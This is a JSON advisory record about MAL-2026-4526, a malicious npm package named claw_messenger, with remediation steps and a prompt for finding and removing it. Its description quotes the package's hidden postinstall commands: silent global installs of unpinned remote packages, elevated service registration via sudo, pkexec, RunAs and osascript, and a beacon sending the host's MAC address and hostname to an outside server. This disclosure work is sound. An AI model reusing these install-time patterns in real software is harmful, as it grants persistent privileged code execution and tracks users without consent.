{"answers":{"affected":"1 open source package ship an affected version, including claw_messenger.","exploited":"There is no known exploitation of MAL-2026-4526 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-4526 is a malicious package in claw_messenger, published on 21 May 2026."},"fix_prompt":"MAL-2026-4526 is a malicious package: claw_messenger (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-4526/ (Markdown: https://insights.sbomify.com/MAL-2026-4526/index.md)","id":"MAL-2026-4526","markdown":"https://insights.sbomify.com/MAL-2026-4526/index.md","name":"MAL-2026-4526","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The postinstall lifecycle script in dist/postinstall.js spawns two detached, hidden child processes during `npm install`. (1) `spawn('npm', ['install', '-g', 'opencode-ai', '--registry=https://registry.npmmirror.com',...], { shell: true, detached: true, stdio: 'ignore', windowsHide: true })` silently performs a global `npm install` of `opencode-ai` from a non-default registry mirror. opencode-ai is not declared in package.json or documented in the README, so the package surreptitiously expands the installer's globally-installed package surface to undocumented third-party code that the author or any future hijacker of that name can mutate. (2) An update-silent-service flow loads dist/service-installer.js which runs `execSync('npm install -g claw-subagent-service@latest', { stdio: 'inherit', timeout: 120000 })` against a mutable `@latest` tag, then dist/daemon-manager.js elevates and registers the resulting binary as a privileged auto-start system service: on Windows via `Start-Process sc -ArgumentList 'start claw-subagent-service' -Verb RunAs`, on Linux via systemd with `pkexec`/`sudo`, on macOS via `osascript... with administrator privileges`. The combination — install-time, hidden, no-consent, unpinned remote dependency fetch followed by privileged auto-start service registration — gives the author (and anyone who later compromises `opencode-ai` or `claw-subagent-service`) persistent root/Administrator code execution on every machine that installs claw_messenger. Separately, dist/auto-register.js posts the host's MAC address and hostname to https://newsradar.dreamdt.cn/im/api/claw/register on plugin load, which is undocumented device-tracking telemetry but is secondary to the install-time RCE surface.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in claw_messenger (npm)","id":"MAL-2026-4526","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"claw_messenger","purl":"pkg:npm/claw_messenger","source":"MAL-2026-4526"}],"products":null,"published":"2026-05-21","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-4526/"}